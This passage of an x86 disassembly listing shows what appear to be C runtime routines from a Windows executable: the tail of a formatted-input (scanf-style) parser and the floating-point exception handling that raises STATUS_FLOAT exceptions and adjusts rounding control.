		neg	ecx
		mov	[ebp+var_24], ecx
		jmp	loc_41DA15
; ---------------------------------------------------------------------------


loc_41D951:				; CODE XREF: sub_41D0F0+74Cj
		cmp	[ebp+var_F], 0
		jnz	loc_41DA0D


loc_41D95B:				; CODE XREF: sub_41D0F0+90Aj
		cmp	esi, 78h
		jz	short loc_41D99F
		cmp	esi, 70h
		jz	short loc_41D99F
		cmp	dword_43F494, 1
		jle	short loc_41D97A
		push	4
		push	ebx
		call	sub_41C0F5
		pop	ecx
		pop	ecx
		jmp	short loc_41D985
; ---------------------------------------------------------------------------


loc_41D97A:				; CODE XREF: sub_41D0F0+87Cj
		mov	eax, off_43F288
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_41D985:				; CODE XREF: sub_41D0F0+888j
		test	eax, eax
		jz	short loc_41D9FF
		cmp	esi, 6Fh
		jnz	short loc_41D998
		cmp	ebx, 38h
		jge	short loc_41D9FF
		shl	edi, 3
		jmp	short loc_41D9D7
; ---------------------------------------------------------------------------


loc_41D998:				; CODE XREF: sub_41D0F0+89Cj
		lea	edi, [edi+edi*4]
		shl	edi, 1
		jmp	short loc_41D9D7
; ---------------------------------------------------------------------------


loc_41D99F:				; CODE XREF: sub_41D0F0+86Ej
					; sub_41D0F0+873j
		cmp	dword_43F494, 1
		jle	short loc_41D9B7
		push	80h
		push	ebx
		call	sub_41C0F5
		pop	ecx
		pop	ecx
		jmp	short loc_41D9C4
; ---------------------------------------------------------------------------


loc_41D9B7:				; CODE XREF: sub_41D0F0+8B6j
		mov	eax, off_43F288
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_41D9C4:				; CODE XREF: sub_41D0F0+8C5j
		test	eax, eax
		jz	short loc_41D9FF
		push	ebx
		shl	edi, 4
		call	sub_41DB15
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_41D9D7:				; CODE XREF: sub_41D0F0+8A6j
					; sub_41D0F0+8ADj
		inc	[ebp+var_1C]
		cmp	[ebp+var_20], 0
		lea	edi, [edi+ebx-30h]
		jz	short loc_41D9E9
		dec	[ebp+var_C]
		jz	short loc_41DA0D


loc_41D9E9:				; CODE XREF: sub_41D0F0+8F2j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41DB4C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_41D95B
; ---------------------------------------------------------------------------


loc_41D9FF:				; CODE XREF: sub_41D0F0+897j
					; sub_41D0F0+8A1j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_41DB66
		pop	ecx
		pop	ecx


loc_41DA0D:				; CODE XREF: sub_41D0F0+865j
					; sub_41D0F0+8F7j
		cmp	[ebp+var_17], 0
		jz	short loc_41DA15
		neg	edi


loc_41DA15:				; CODE XREF: sub_41D0F0+843j
					; sub_41D0F0+85Cj ...
		cmp	esi, 46h
		jnz	short loc_41DA1E
		and	[ebp+var_1C], 0


loc_41DA1E:				; CODE XREF: sub_41D0F0+928j
		cmp	[ebp+var_1C], 0
		jz	loc_41DAF6
		cmp	[ebp+var_E], 0
		jnz	short loc_41DA57
		inc	[ebp+var_34]


loc_41DA31:				; CODE XREF: sub_41D0F0+23Bj
		cmp	[ebp+var_30], 0
		jz	short loc_41DA47
		mov	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_28]
		mov	[eax], ecx
		mov	ecx, [ebp+var_24]
		mov	[eax+4], ecx
		jmp	short loc_41DA57
; ---------------------------------------------------------------------------


loc_41DA47:				; CODE XREF: sub_41D0F0+945j
		cmp	[ebp+var_D], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_41DA54
		mov	[eax], edi
		jmp	short loc_41DA57
; ---------------------------------------------------------------------------


loc_41DA54:				; CODE XREF: sub_41D0F0+95Ej
		mov	[eax], di


loc_41DA57:				; CODE XREF: sub_41D0F0+241j
					; sub_41D0F0+414j ...
		inc	[ebp+var_15]
		inc	[ebp+arg_4]
		mov	esi, [ebp+arg_4]
		jmp	short loc_41DAA4
; ---------------------------------------------------------------------------


loc_41DA62:				; CODE XREF: sub_41D0F0+93j
		inc	[ebp+var_4]
		push	edi
		call	sub_41DB4C
		mov	ebx, eax
		pop	ecx
		movzx	eax, byte ptr [esi]
		inc	esi
		cmp	eax, ebx
		mov	[ebp+var_14], ebx
		mov	[ebp+arg_4], esi
		jnz	short loc_41DAD1
		mov	ecx, off_43F288
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41DAA4
		inc	[ebp+var_4]
		push	edi
		call	sub_41DB4C
		pop	ecx
		movzx	ecx, byte ptr [esi]
		inc	esi
		cmp	ecx, eax
		mov	[ebp+arg_4], esi
		jnz	short loc_41DADF
		dec	[ebp+var_4]


loc_41DAA4:				; CODE XREF: sub_41D0F0+970j
					; sub_41D0F0+99Aj
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_41DABA
		cmp	byte ptr [esi],	25h
		jnz	short loc_41DAFC
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax+1], 6Eh
		jnz	short loc_41DAFC
		mov	esi, eax


loc_41DABA:				; CODE XREF: sub_41D0F0+9B8j
		mov	al, [esi]
		test	al, al
		jnz	loc_41D11A
		jmp	short loc_41DAF6
; ---------------------------------------------------------------------------


loc_41DAC6:				; CODE XREF: sub_41D0F0+1F4j
					; sub_41D0F0+491j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	[ebp+var_14]
		jmp	short loc_41DAD6
; ---------------------------------------------------------------------------


loc_41DAD1:				; CODE XREF: sub_41D0F0+98Aj
		dec	[ebp+var_4]
		push	edi
		push	ebx


loc_41DAD6:				; CODE XREF: sub_41D0F0+9DFj
		call	sub_41DB66
		pop	ecx
		pop	ecx
		jmp	short loc_41DAF6
; ---------------------------------------------------------------------------


loc_41DADF:				; CODE XREF: sub_41D0F0+9AFj
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_41DB66
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_41DB66
		add	esp, 10h


loc_41DAF6:				; CODE XREF: sub_41D0F0+1Fj
					; sub_41D0F0+40Aj ...
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_41DB0D


loc_41DAFC:				; CODE XREF: sub_41D0F0+9BDj
					; sub_41D0F0+9C6j
		mov	eax, [ebp+var_34]
		test	eax, eax
		jnz	short loc_41DB10
		cmp	[ebp+var_15], al
		jnz	short loc_41DB10
		or	eax, 0FFFFFFFFh
		jmp	short loc_41DB10
; ---------------------------------------------------------------------------


loc_41DB0D:				; CODE XREF: sub_41D0F0+A0Aj
		mov	eax, [ebp+var_34]


loc_41DB10:				; CODE XREF: sub_41D0F0+A11j
					; sub_41D0F0+A16j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D0F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DB15	proc near		; CODE XREF: sub_41D0F0+7A3p
					; sub_41D0F0+8DCp

arg_0		= dword	ptr  4

		cmp	dword_43F494, 1
		push	esi
		jle	short loc_41DB2F
		mov	esi, [esp+4+arg_0]
		push	4
		push	esi
		call	sub_41C0F5
		pop	ecx
		pop	ecx
		jmp	short loc_41DB3E
; ---------------------------------------------------------------------------


loc_41DB2F:				; CODE XREF: sub_41DB15+8j
		mov	esi, [esp+4+arg_0]
		mov	eax, off_43F288
		mov	al, [eax+esi*2]
		and	eax, 4


loc_41DB3E:				; CODE XREF: sub_41DB15+18j
		test	eax, eax
		jnz	short loc_41DB48
		and	esi, 0FFFFFFDFh
		sub	esi, 7


loc_41DB48:				; CODE XREF: sub_41DB15+2Bj
		mov	eax, esi
		pop	esi
		retn
sub_41DB15	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DB4C	proc near		; CODE XREF: sub_41D0F0+1E1p
					; sub_41D0F0+289p ...

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		dec	dword ptr [edx+4]
		js	short loc_41DB5E
		mov	ecx, [edx]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------


loc_41DB5E:				; CODE XREF: sub_41DB4C+7j
		push	edx
		call	sub_41BC23
		pop	ecx
		retn
sub_41DB4C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DB66	proc near		; CODE XREF: sub_41D0F0+6Bp
					; sub_41D0F0+3FFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFFFh
		jz	short locret_41DB7C
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_420BBF
		pop	ecx
		pop	ecx

locret_41DB7C:				; CODE XREF: sub_41DB66+5j
		retn
sub_41DB66	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DB7D	proc near		; CODE XREF: sub_41D0F0+63p
					; sub_41D0F0+1D3p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi


loc_41DB83:				; CODE XREF: sub_41DB7D+1Dj
		push	[esp+8+arg_4]
		inc	dword ptr [esi]
		call	sub_41DB4C
		mov	edi, eax
		push	edi
		call	sub_41A252
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41DB83
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_41DB7D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __fastcall sub_41DBA1(int,int,double,int)

sub_41DBA1	proc near		; CODE XREF: sub_4193D9+51p
					; sub_41951F+51p

var_1C		= qword	ptr -1Ch
var_14		= qword	ptr -14h
var_C		= qword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	dword_43FC00, 0
		jnz	short loc_41DBD6
		push	[ebp+arg_C]	; int
		fld	qword ptr [ebp+arg_4]
		push	ecx
		push	ecx		; double
		fstp	[esp+0Ch+var_C]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+14h+var_14]
		fld	qword ptr [ebp+arg_4]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+1Ch+var_1C]
		push	[ebp+arg_0]	; int
		push	1		; int
		call	sub_41E156
		add	esp, 24h
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41DBD6:				; CODE XREF: sub_41DBA1+Aj
		push	0FFFFh
		mov	dword_4DCD74, 21h
		push	[ebp+arg_C]
		call	sub_41E3C9
		fld	qword ptr [ebp+arg_4]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_41DBA1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41DBF4(int,int,double,double,int)

sub_41DBF4	proc near		; CODE XREF: sub_4193D9:loc_41949Cp
					; sub_41951F:loc_4195E2p

var_74		= qword	ptr -74h
var_6C		= qword	ptr -6Ch
var_64		= qword	ptr -64h
var_5C		= dword	ptr -5Ch
var_58		= byte ptr -58h
var_20		= dword	ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= qword	ptr  10h
arg_10		= qword	ptr  18h
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	[ebp+arg_18]
		lea	eax, [ebp+arg_10]
		push	eax
		push	[ebp+arg_0]
		call	sub_41DF3F
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41DC32
		lea	eax, [ebp+arg_10]
		and	[ebp+var_20], 0FFFFFFFEh
		push	eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+arg_18]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_41DC8C
		add	esp, 18h


loc_41DC32:				; CODE XREF: sub_41DBF4+1Aj
		push	[ebp+arg_0]
		call	sub_41E229
		cmp	dword_43FC00, 0
		pop	ecx
		jnz	short loc_41DC70
		test	eax, eax
		jz	short loc_41DC70
		push	[ebp+arg_18]	; int
		fld	[ebp+arg_10]
		push	ecx
		push	ecx		; double
		fstp	[esp+64h+var_64]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+6Ch+var_6C]
		fld	[ebp+arg_8]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+74h+var_74]
		push	[ebp+arg_4]	; int
		push	eax		; int
		call	sub_41E156
		add	esp, 24h
		leave
		retn
; ---------------------------------------------------------------------------


loc_41DC70:				; CODE XREF: sub_41DBF4+4Ej
					; sub_41DBF4+52j
		push	eax
		call	sub_41E1DE
		mov	[esp+5Ch+var_5C], 0FFFFh
		push	[ebp+arg_18]
		call	sub_41E3C9
		fld	[ebp+arg_10]
		pop	ecx
		pop	ecx
		leave
		retn
sub_41DBF4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DC8C	proc near		; CODE XREF: sub_41DBF4+36p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		xor	eax, eax
		push	ebx
		push	esi
		mov	[ecx+4], eax
		mov	ecx, [ebp+arg_0]
		push	edi
		push	1
		mov	[ecx+8], eax
		mov	ecx, [ebp+arg_0]
		pop	ebx
		mov	[ecx+0Ch], eax
		mov	cl, byte ptr [ebp+arg_8]
		test	cl, 10h
		jz	short loc_41DCBE
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Fh
		or	[eax+4], ebx


loc_41DCBE:				; CODE XREF: sub_41DC8C+23j
		test	cl, 2
		jz	short loc_41DCD1
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000093h
		or	dword ptr [eax+4], 2


loc_41DCD1:				; CODE XREF: sub_41DC8C+35j
		test	cl, bl
		jz	short loc_41DCE3
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000091h
		or	dword ptr [eax+4], 4


loc_41DCE3:				; CODE XREF: sub_41DC8C+47j
		test	cl, 4
		jz	short loc_41DCF6
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Eh
		or	dword ptr [eax+4], 8


loc_41DCF6:				; CODE XREF: sub_41DC8C+5Aj
		test	cl, 8
		jz	short loc_41DD09
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000090h
		or	dword ptr [eax+4], 10h


loc_41DD09:				; CODE XREF: sub_41DC8C+6Dj
		mov	esi, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		push	2
		mov	ecx, [esi]
		mov	edx, [eax+8]
		not	ecx
		and	ecx, ebx
		and	edx, 0FFFFFFEFh
		shl	ecx, 4
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		and	ecx, 4
		shl	ecx, 1
		and	edx, 0FFFFFFF7h
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 1
		and	ecx, 4
		and	edx, 0FFFFFFFBh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 3
		and	ecx, edi
		and	edx, 0FFFFFFFDh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 5
		and	ecx, ebx
		and	edx, 0FFFFFFFEh
		or	ecx, edx
		mov	[eax+8], ecx
		call	sub_41E3AC
		test	al, bl
		jz	short loc_41DD92
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 10h


loc_41DD92:				; CODE XREF: sub_41DC8C+FDj
		test	al, 4
		jz	short loc_41DD9D
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 8


loc_41DD9D:				; CODE XREF: sub_41DC8C+108j
		test	al, 8
		jz	short loc_41DDA8
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 4


loc_41DDA8:				; CODE XREF: sub_41DC8C+113j
		test	al, 10h
		jz	short loc_41DDB2
		mov	ecx, [ebp+arg_0]
		or	[ecx+0Ch], edi


loc_41DDB2:				; CODE XREF: sub_41DC8C+11Ej
		test	al, 20h
		jz	short loc_41DDBC
		mov	eax, [ebp+arg_0]
		or	[eax+0Ch], ebx


loc_41DDBC:				; CODE XREF: sub_41DC8C+128j
		mov	eax, [esi]
		mov	ecx, 0C00h
		and	eax, ecx
		jz	short loc_41DDFB
		cmp	eax, 400h
		jz	short loc_41DDED
		cmp	eax, 800h
		jz	short loc_41DDE1
		cmp	eax, ecx
		jnz	short loc_41DE01
		mov	eax, [ebp+arg_0]
		or	dword ptr [eax], 3
		jmp	short loc_41DE01
; ---------------------------------------------------------------------------


loc_41DDE1:				; CODE XREF: sub_41DC8C+147j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFEh
		or	ecx, edi
		jmp	short loc_41DDF7
; ---------------------------------------------------------------------------


loc_41DDED:				; CODE XREF: sub_41DC8C+140j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFDh
		or	ecx, ebx


loc_41DDF7:				; CODE XREF: sub_41DC8C+15Fj
		mov	[eax], ecx
		jmp	short loc_41DE01
; ---------------------------------------------------------------------------


loc_41DDFB:				; CODE XREF: sub_41DC8C+139j
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFFCh


loc_41DE01:				; CODE XREF: sub_41DC8C+14Bj
					; sub_41DC8C+153j ...
		mov	eax, [esi]
		mov	ecx, 300h
		and	eax, ecx
		jz	short loc_41DE2C
		cmp	eax, 200h
		jz	short loc_41DE1F
		cmp	eax, ecx
		jnz	short loc_41DE39
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFE3h
		jmp	short loc_41DE39
; ---------------------------------------------------------------------------


loc_41DE1F:				; CODE XREF: sub_41DC8C+185j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFE7h
		or	ecx, 4
		jmp	short loc_41DE37
; ---------------------------------------------------------------------------


loc_41DE2C:				; CODE XREF: sub_41DC8C+17Ej
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFEBh
		or	ecx, 8


loc_41DE37:				; CODE XREF: sub_41DC8C+19Ej
		mov	[eax], ecx


loc_41DE39:				; CODE XREF: sub_41DC8C+189j
					; sub_41DC8C+191j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_C]
		and	ecx, 0FFFh
		mov	edx, [eax]
		shl	ecx, 5
		and	edx, 0FFFE001Fh
		or	ecx, edx
		mov	[eax], ecx
		mov	eax, [ebp+arg_0]
		or	[eax+20h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+20h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	[eax+20h], ecx
		mov	eax, [ebp+arg_10]
		fld	qword ptr [eax]
		mov	eax, [ebp+arg_0]
		fstp	qword ptr [eax+10h]
		mov	eax, [ebp+arg_0]
		or	[eax+50h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+50h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	edi, [ebp+arg_14]
		mov	[eax+50h], ecx
		mov	eax, [ebp+arg_0]
		fld	qword ptr [edi]
		fstp	qword ptr [eax+40h]
		call	sub_41E3BA
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	0
		push	[ebp+arg_8]
		call	dword_42405C	; RaiseException
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+8], 10h
		jz	short loc_41DEB3
		and	dword ptr [esi], 0FFFFFFFEh


loc_41DEB3:				; CODE XREF: sub_41DC8C+222j
		test	byte ptr [eax+8], 8
		jz	short loc_41DEBC
		and	dword ptr [esi], 0FFFFFFFBh


loc_41DEBC:				; CODE XREF: sub_41DC8C+22Bj
		test	byte ptr [eax+8], 4
		jz	short loc_41DEC5
		and	dword ptr [esi], 0FFFFFFF7h


loc_41DEC5:				; CODE XREF: sub_41DC8C+234j
		test	byte ptr [eax+8], 2
		jz	short loc_41DECE
		and	dword ptr [esi], 0FFFFFFEFh


loc_41DECE:				; CODE XREF: sub_41DC8C+23Dj
		test	[eax+8], bl
		jz	short loc_41DED6
		and	dword ptr [esi], 0FFFFFFDFh


loc_41DED6:				; CODE XREF: sub_41DC8C+245j
		mov	ecx, [eax]
		mov	edx, 0FFFFF3FFh
		and	ecx, 3
		sub	ecx, 0
		jz	short loc_41DF0A
		dec	ecx
		jz	short loc_41DEFE
		dec	ecx
		jz	short loc_41DEF4
		dec	ecx
		jnz	short loc_41DF0C
		or	byte ptr [esi+1], 0Ch
		jmp	short loc_41DF0C
; ---------------------------------------------------------------------------


loc_41DEF4:				; CODE XREF: sub_41DC8C+25Dj
		mov	ecx, [esi]
		and	ch, 0FBh
		or	ch, 8
		jmp	short loc_41DF06
; ---------------------------------------------------------------------------


loc_41DEFE:				; CODE XREF: sub_41DC8C+25Aj
		mov	ecx, [esi]
		and	ch, 0F7h
		or	ch, 4


loc_41DF06:				; CODE XREF: sub_41DC8C+270j
		mov	[esi], ecx
		jmp	short loc_41DF0C
; ---------------------------------------------------------------------------


loc_41DF0A:				; CODE XREF: sub_41DC8C+257j
		and	[esi], edx


loc_41DF0C:				; CODE XREF: sub_41DC8C+260j
					; sub_41DC8C+266j ...
		mov	ecx, [eax]
		shr	ecx, 2
		and	ecx, 7
		sub	ecx, 0
		jz	short loc_41DF2C
		dec	ecx
		jz	short loc_41DF23
		dec	ecx
		jnz	short loc_41DF35
		and	[esi], edx
		jmp	short loc_41DF35
; ---------------------------------------------------------------------------


loc_41DF23:				; CODE XREF: sub_41DC8C+28Ej
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 2
		jmp	short loc_41DF33
; ---------------------------------------------------------------------------


loc_41DF2C:				; CODE XREF: sub_41DC8C+28Bj
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 3


loc_41DF33:				; CODE XREF: sub_41DC8C+29Ej
		mov	[esi], ecx


loc_41DF35:				; CODE XREF: sub_41DC8C+291j
					; sub_41DC8C+295j
		fld	qword ptr [eax+40h]
		fstp	qword ptr [edi]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41DC8C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DF3F	proc near		; CODE XREF: sub_41DBF4+10p

var_24		= qword	ptr -24h
var_C		= qword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	edi
		mov	edi, eax
		and	edi, 1Fh
		push	1
		test	al, 8
		pop	ebx
		jz	short loc_41DF6A
		test	byte ptr [ebp+arg_8], bl
		jz	short loc_41DF6A
		push	ebx
		call	sub_41E3EC
		pop	ecx
		and	edi, 0FFFFFFF7h
		jmp	loc_41E134
; ---------------------------------------------------------------------------


loc_41DF6A:				; CODE XREF: sub_41DF3F+15j
					; sub_41DF3F+1Aj
		test	al, 4
		jz	short loc_41DF84
		test	byte ptr [ebp+arg_8], 4
		jz	short loc_41DF84
		push	4
		call	sub_41E3EC
		pop	ecx
		and	edi, 0FFFFFFFBh
		jmp	loc_41E134
; ---------------------------------------------------------------------------


loc_41DF84:				; CODE XREF: sub_41DF3F+2Dj
					; sub_41DF3F+33j
		test	al, bl
		jz	loc_41E05E
		test	byte ptr [ebp+arg_8], 8
		jz	loc_41E05E
		push	8
		call	sub_41E3EC
		pop	ecx
		mov	eax, 0C00h
		mov	ecx, [ebp+arg_8]
		and	ecx, eax
		jz	loc_41E036
		cmp	ecx, 400h
		jz	short loc_41E00E
		cmp	ecx, 800h
		jz	short loc_41DFE6
		cmp	ecx, eax
		jnz	loc_41E056
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_424870
		fld	dbl_43F800
		fnstsw	ax
		sahf
		ja	short loc_41DFDE
		fchs


loc_41DFDE:				; CODE XREF: sub_41DF3F+9Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_41E054
; ---------------------------------------------------------------------------


loc_41DFE6:				; CODE XREF: sub_41DF3F+7Dj
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_424870
		fnstsw	ax
		sahf
		jbe	short loc_41DFFE
		fld	dbl_43F7F0
		jmp	short loc_41E006
; ---------------------------------------------------------------------------


loc_41DFFE:				; CODE XREF: sub_41DF3F+B5j
		fld	dbl_43F800
		fchs


loc_41E006:				; CODE XREF: sub_41DF3F+BDj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_41E054
; ---------------------------------------------------------------------------


loc_41E00E:				; CODE XREF: sub_41DF3F+75j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_424870
		fnstsw	ax
		sahf
		jbe	short loc_41E026
		fld	dbl_43F800
		jmp	short loc_41E02E
; ---------------------------------------------------------------------------


loc_41E026:				; CODE XREF: sub_41DF3F+DDj
		fld	dbl_43F7F0
		fchs


loc_41E02E:				; CODE XREF: sub_41DF3F+E5j
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_41E054
; ---------------------------------------------------------------------------


loc_41E036:				; CODE XREF: sub_41DF3F+69j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_424870
		fld	dbl_43F7F0
		fnstsw	ax
		sahf
		ja	short loc_41E04E
		fchs


loc_41E04E:				; CODE XREF: sub_41DF3F+10Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]


loc_41E054:				; CODE XREF: sub_41DF3F+A5j
					; sub_41DF3F+CDj ...
		fstp	qword ptr [ecx]


loc_41E056:				; CODE XREF: sub_41DF3F+81j
		and	edi, 0FFFFFFFEh
		jmp	loc_41E134
; ---------------------------------------------------------------------------


loc_41E05E:				; CODE XREF: sub_41DF3F+47j
					; sub_41DF3F+51j
		test	al, 2
		jz	loc_41E134
		test	byte ptr [ebp+arg_8], 10h
		jz	loc_41E134
		push	esi
		xor	esi, esi
		test	al, 10h
		jz	short loc_41E079
		mov	esi, ebx


loc_41E079:				; CODE XREF: sub_41DF3F+136j
		mov	eax, [ebp+arg_4]
		fld	qword ptr [eax]
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		fcomp	dbl_424870
		fnstsw	ax
		sahf
		jz	loc_41E122
		fld	[ebp+var_C]
		lea	eax, [ebp+var_4]
		push	eax		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		call	sub_41E2EB
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		fstp	[ebp+var_C]
		lea	ecx, [eax-600h]
		cmp	ecx, 0FFFFFBCEh
		jge	short loc_41E0C4
		fldz
		mov	esi, ebx
		fstp	[ebp+var_C]
		jmp	short loc_41E118
; ---------------------------------------------------------------------------


loc_41E0C4:				; CODE XREF: sub_41DF3F+17Aj
		fld	[ebp+var_C]
		fcomp	dbl_424870
		fnstsw	ax
		sahf
		jnb	short loc_41E0D6
		mov	edx, ebx
		jmp	short loc_41E0D8
; ---------------------------------------------------------------------------


loc_41E0D6:				; CODE XREF: sub_41DF3F+191j
		xor	edx, edx


loc_41E0D8:				; CODE XREF: sub_41DF3F+195j
		mov	al, byte ptr [ebp+var_C+6]
		and	eax, 0Fh
		or	al, 10h
		mov	word ptr [ebp+var_C+6],	ax
		mov	eax, 0FFFFFC03h
		cmp	ecx, eax
		jge	short loc_41E10C
		sub	eax, ecx


loc_41E0EF:				; CODE XREF: sub_41DF3F+1CBj
		test	byte ptr [ebp+var_C], bl
		jz	short loc_41E0FA
		test	esi, esi
		jnz	short loc_41E0FA
		mov	esi, ebx


loc_41E0FA:				; CODE XREF: sub_41DF3F+1B3j
					; sub_41DF3F+1B7j
		shr	dword ptr [ebp+var_C], 1
		test	byte ptr [ebp+var_C+4],	bl
		jz	short loc_41E106
		or	byte ptr [ebp+var_C+3],	80h


loc_41E106:				; CODE XREF: sub_41DF3F+1C1j
		shr	dword ptr [ebp+var_C+4], 1
		dec	eax
		jnz	short loc_41E0EF


loc_41E10C:				; CODE XREF: sub_41DF3F+1ACj
		test	edx, edx
		jz	short loc_41E118
		fld	[ebp+var_C]
		fchs
		fstp	[ebp+var_C]


loc_41E118:				; CODE XREF: sub_41DF3F+183j
					; sub_41DF3F+1CFj
		fld	[ebp+var_C]
		mov	eax, [ebp+arg_4]
		fstp	qword ptr [eax]
		jmp	short loc_41E124
; ---------------------------------------------------------------------------


loc_41E122:				; CODE XREF: sub_41DF3F+14Ej
		mov	esi, ebx


loc_41E124:				; CODE XREF: sub_41DF3F+1E1j
		test	esi, esi
		pop	esi
		jz	short loc_41E131
		push	10h
		call	sub_41E3EC
		pop	ecx


loc_41E131:				; CODE XREF: sub_41DF3F+1E8j
		and	edi, 0FFFFFFFDh


loc_41E134:				; CODE XREF: sub_41DF3F+26j
					; sub_41DF3F+40j ...
		test	byte ptr [ebp+arg_0], 10h
		jz	short loc_41E14B
		test	byte ptr [ebp+arg_8], 20h
		jz	short loc_41E14B
		push	20h
		call	sub_41E3EC
